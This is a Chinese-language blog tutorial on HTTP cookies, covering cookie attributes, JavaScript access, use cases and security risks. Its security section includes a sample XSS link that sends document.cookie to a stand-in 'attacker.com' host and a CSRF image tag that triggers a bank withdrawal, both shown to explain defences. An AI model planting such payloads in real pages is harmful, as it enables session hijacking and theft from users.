HTTP cookie

我们知道cookie可以用来在客户端的浏览器上存储一小戳数据,那当初行业的前辈们为什么要设计cookie这种机制呢?因为HTTP是无状态的,如果不做记录,没人知道谁来服务器上请求过,请求的一方也无法证明自己是谁。试想一下在没有cookie时使用一个需要用户登录的网站,那用户从网上发出去的每一个请求,服务器端都得要求用户先登录一遍,然后再下发所需要的数据,这真是糟透的了体验。如果这些跟每个用户相关的有时效性的数据能够通过浏览器的支持保存在客户端本地,就很完美的解决了问题。

下面来看一下MDN上对cookie的说明:

HTTP Cookie(也叫Web Cookie或浏览器Cookie)是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用于告知服务端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie使基于无状态的HTTP协议记录稳定的状态信息成为了可能。

初识cookie

要看到cookie并不难,打开浏览器的开发工具,点开一个request就可以观察到了。比如我这里访问https://www.vip.com/登录成功后点开https://www.vip.com/,在Headers一列中可以看到Response Headers和Request Headers都有cookie部分:

可以看到服务器端只要在HTTP响应头中加上一条Set-Cookie,就创建了一条cookie记录。

1
2
3
4
HTTP/1.0 200 OK
Content-type: text/html; charset=utf-8
Set-Cookie: vip_province=104104; expires=Sat, 11-Apr-2020 09:28:14 GMT; Max-Age=2592000; path=/; domain=.vip.com
...

在客户端发起请求时在请求头中也会带上Cookie字段。

1
Cookie: vip_province=104104; ...

创建cookie的时候,除了cookie的name和value外,我们看到还有一些其他属性可指定,回到浏览器的开发工具,打开Cookies一栏:

这里看到除了NameValue,一条cookie还可以设置DomainPathExpires/Max-AgeSizeHttpOnlySecureSameSite等属性,接下来分别说一下这些属性的作用和如何指定。

Domain & Path

浏览器需要知道自己存储的cookies应该分别发给哪些URL,所以DomainPath标记就明确了cookie的作用域。Domain标识指定了哪些主机可以接受cookie。如果不指定,默认是当前请求页面的主机,但不包含子域名。如果指定了,则一般包含子域名。

例如,设置Domain=foo.com,则Cookie也包含在子域中(如docs.foo.com)。截图中的Domain指定为.vip.com,这里域名前多了一个点,在最新的标准中这是可选的,但是加上了可以兼容RFC 2109

Path标识指定了主机下的哪些路径可以接受cookie(该URL路径必须存在于请求URL中),以字符%2F(“/”)作为分隔符,子路径也会被匹配。

再举个栗子,请求docs.foo.com后响应回的cookie如下:

1
2
3
4
5
HTTP/1.0 200 OK
Set-Cookie: LSID=DQAAAK…Eaem_vYg; Path=/accounts; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly
Set-Cookie: HSID=AYQEVn…DKrdst; Domain=.foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; HttpOnly
Set-Cookie: SSID=Ap4P…GTEq; Domain=foo.com; Path=/; Expires=Wed, 13 Jan 2021 22:23:01 GMT; Secure; HttpOnly

第一个cookie,LSID,没有指定Domain属性,但是Path指定为/accounts,这告诉浏览器该cookie只能发送给docs.foo.com/accounts下面的页面。其他两个,HSIDSSID,可以发送给.foo.com下面的任意子域。

Expires/Max-Age

一条cookie记录不是一旦创建就永久存在的,浏览器需要知道cookie何时失效。所以要用Expires指定过期时间或Max-Age指定有效期时长。从上面的截图中,我们看到Expires/Max-Age有这几种取值情况:Session、具体时间(如 2020-03-16T01:34:21.253)、时长(如 1.0 days8.0 hrs)。

设置为Session的cookie也叫会话期cookie,标记为Session的cookie只是临时存放于内存中,浏览器关闭时,cookie也会被删除。

设置了具体过期时间或具体有效时长的cookie也叫持久性cookie,这样的cookie在有效期内每一次请求都会被带上,失效后是被删除还是还留在在本地要看各家浏览器是如何处理的了,但是以后再请求同样的URL不会带上该cookie。

1
2
3
4
HTTP/1.0 200 OK
Set-Cookie: lu=Rg3vHJZnehYLjVg7qi3bZjzg; Expires=Tue, 15 Jan 2013 21:47:38 GMT; Path=/; Domain=.example.com; HttpOnly
Set-Cookie: made_write_conn=1295214458; Path=/; Domain=.example.com
Set-Cookie: reg_fb_gate=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; Domain=.example.com; HttpOnly

第一个cookie,lu,将会在2013年1月15日过期。第二个cookie,made_write_conn,没有指定Expires,默认是Session cookie,在浏览器关闭后就会被删除。第三个cookie,reg_fb_gate,已经过期了,浏览器收到后会立即删除。

截止2016年,Internet Explorer 已经不支持Max-Age了。

HttpOnly

标记为HttpOnly的cookie不能被Javascript访问,可以防止跨域脚本攻击(XSS)。这样的cookie只应该发送给服务器端。

1
Set-Cookie: CookieName=CookieValue; HttpOnly

Secure

标记为Secure的cookie只应通过被HTTPS协议加密过的请求发送给服务器,这降低了cookie被监听到的可能性。

1
Set-Cookie: CookieName=CookieValue; Secure

SameSite

SameSite cookie允许服务器要求某个cookie在跨站请求时不会被发送,从而可以阻止跨站请求伪造攻击(CSRF)。

SameSite cookie是2016年Google Chrome提出的,现在主流的浏览器都已支持。

SameSite可以有下面三种取值:

1
2
3
Set-Cookie: CookieName=CookieValue; SameSite=None;
Set-Cookie: CookieName=CookieValue; SameSite=Strict;
Set-Cookie: CookieName=CookieValue; SameSite=Lax;

None

浏览器会在同站请求、跨站请求下继续发送cookie,不区分大小写。

Strict

浏览器只发送相同站点请求的cookie(即当前网页的URL与请求目标URL完全一致)。如果发送与当前Location的URL不同的URL,则标记为Strict的cookie不会被带上。

比如,在本博客中放了我的github链接,如果github将其cookie的SameSite标记为Strict,那么从本博客跳转到github时一直都会是未登录的状态,这样的体验有时不是很友好。

Lax

Lax规则稍微放宽,大多数情况也是不发送第三方Cookie,但是导航到目标网址的Get请求除外。导航到目标网址的Get请求:链接、预加载请求、Get表单:

1
2
3
4
5
6
7
8
<!-- 链接 -->
<a href="..."></a>

<!-- 预加载 -->
<link rel="prerender" href="..."/>

<!-- GET表单 -->
<form method="GET" action="...">

Javascript操作cookie

通过Javascript提供的document.cookie,也可以在前端拿到当前页面的Host下所有的本地cookie,也可以写入新的cookie。

1
2
3
4
5
6
7
8
// 获取所有cookie,所以只想取name为特定值的cookie需要在此基础上做一些处理
allCookies = document.cookie

// 写入一个新的cookie
document.cookie = "cookieName=cookieValue";

// 删除一个已有的cookie
document.cookie = "cookieName="

有几点需要注意,document.cookie只能读取非HttpOnly的cookie。cookie的值字符串可以用encodeURIComponent()来保证它不包含任何逗号、分号或空格(cookie值中禁止使用这些值)。而且cookie的值也是被浏览器格式化后才存起来的,所以取出时要用decodeURIComponent()解码。

MDN上提供了一个完整的可用的框架,可参考其实现:

一个小框架:一个完整支持unicode的cookie读取/写入器

github上也有很多封装document.cookie的开源的库,这里分享一个Star数较高的:

https://github.com/js-cookie/js-cookie

cookie的使用场景

Session 管理

服务器端生成一个session_id,写入用户的cookie,下次客户端发起请求再将该cookie带回来,服务器端就能识别出是哪个用户过来访问。两个典型的应用就是购物车和登录。用这个session_id服务器端知道是谁过来了,并且已经授权访问服务器上的数据,那么在用户一次浏览网站的过程中就不用一直登录验证了,并且可以取到与自己相关的数据。

实现个性化

比如cookie里存了username,下次用户再来访问网站时,就可以将用户名自动填充上。

再比如网站可以允许用户做一些个性化设置,像现在很多网站都有夜间模式,用户对网站进行的个性化设计就可以保存在cookie中。

用户行为追踪

cookie也可以用来追踪用户的网站浏览习惯。当然,也可以通过访问页面的IP地址和HTTP头里的referer字段来追踪,但是cookie可以提供更加精准的分析。

  1. 如果用户请求页面时,请求头中没有带追踪cookie,服务器端认为是第一次访问,并生成一个唯一标识符放在cookie中一起返回给客户端。

  2. 下次用户再来访问网站时这个cookie也会被一起发送,服务器端就可以把请求的URL、请求时间和该cookie一起记录在日志文件中。

通过分析日志文件就可以大概知道用户浏览过哪些页面,以及浏览频率和浏览时长。

很多的广告厂商也通过cookie来追踪用户的浏览行为。如果cookie的Domain属性值跟当前地址栏中的域名匹配,则这样的cookie为第一方cookie。如果不匹配,则为第三方cookie。比如,用户当前正在访问www.example.org,这个网站里有个广告来自ad.foxytracking.com,当广告被加载时,创建一个cookie属于ad.foxytracking.com。广告厂商就可以通过所有放了他们广告的网站发送过来的cookie,分析出用户的浏览行为习惯。

cookie带来的安全性问题

如果网站使用cookie作为会话的唯一标识,那么攻击者一旦拿到了用户的cookie,就可以使用该cookie冒充用户访问网站,而服务端会把他当合法用户对待。下面列出几种常见的攻击方式:

网络监听

关于网络监听的原理,大家可以看一下这篇论文介绍。网络监听一般都发生在局域网,如果跟攻击者连入了同一网络,那么在该网络中传输的数据就会被攻击者截获到,网站的cookie也就有可能被拿到。攻击者可以使用拿到的cookie去执行恶意行为,比如转移出用户银行帐号里的钱。

如果网络中传输的数据是被加密过的,即使被拦截到也无法读出来。所以采用HTTPS协议的网站通常被认为是安全的。服务器端在创建cookie时,可以指定Secure,浏览器不会发送Secure cookie给未加密的请求。

发布假的子域名:域名服务器缓存污染

我们访问网站的域名,首先会经过DNS服务器解析出目标服务器的IP地址,然后再去访问该IP地址的服务器。域名服务器缓存污染就是要用户访问的域名解析到攻击者的服务器IP上,访问了攻击者的服务器就有可能把用户的cookie带过去。比如攻击者利用域名服务器缓存污染将f12345.www.example.com指向他们的服务器IP,然后他们放上去一个图片,比如地址是http://f12345.www.example.com/img_4_cookie.jpg,当用户访问这张图片时,因为f12345.www.example.comwww.example.com的子域名,用户的浏览器就会把example.com相关的cookie都发送过去。

使用Secure cookie可以减少攻击的严重程度,因为这给攻击者增加了额外的挑战,获取到目标站点的TLS证书。

XSS攻击

XSS(Cross-site scripting)跨站脚本攻击:攻击者通过提交恶意的HTML和Javascript内容到服务器,像下面这样,等内容再下发给客户端的时候,用户不小心点击,cookie就会被发送到攻击者的地址。

1
<a href="#" onclick="window.location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>

网站的开发者有责任过滤掉恶意代码。此外敏感的cookie指定HttpOnly标识,这样就无法通过Javascript获取cookie了。这里有一篇美团技术团队博客的文章:如何防止XSS攻击,可以学习一下。

XSRF攻击

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。

举个例子,Bob正在浏览一个聊天论坛,Mallory发了一张图片,这是一个HTML的image元素,但是是指向Bob的银行站点,而不是真正的图片文件。

1
<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

如果Bob的银行站点将授权信息保存在cookie中,cookie也没有过期,那么浏览器在尝试加载图片时,实际却向银行站点提交取款表单。这里有一篇美团技术团队博客的文章:如何防止CSRF攻击,可以学习一下。

cookie的缺点

  1. cookie的大小受浏览器的限制,大多数浏览器限制cookie 4K,但一些新的浏览器支持最大8K。

  2. 用户可以配置浏览器禁用cookie能力,因此限制了这一功能。

  3. cookie存在安全性问题,像上一节提到的。

参考链接

【1】 https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies

【2】 https://en.wikipedia.org/wiki/HTTP_cookie

【3】 https://www.ruanyifeng.com/blog/2019/09/cookie-samesite.html

【4】 https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie

本文作者:意林
本文链接:http://shinancao.cn/2020/03/15/HTTP-Cookie/
版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 许可协议。转载请注明出处!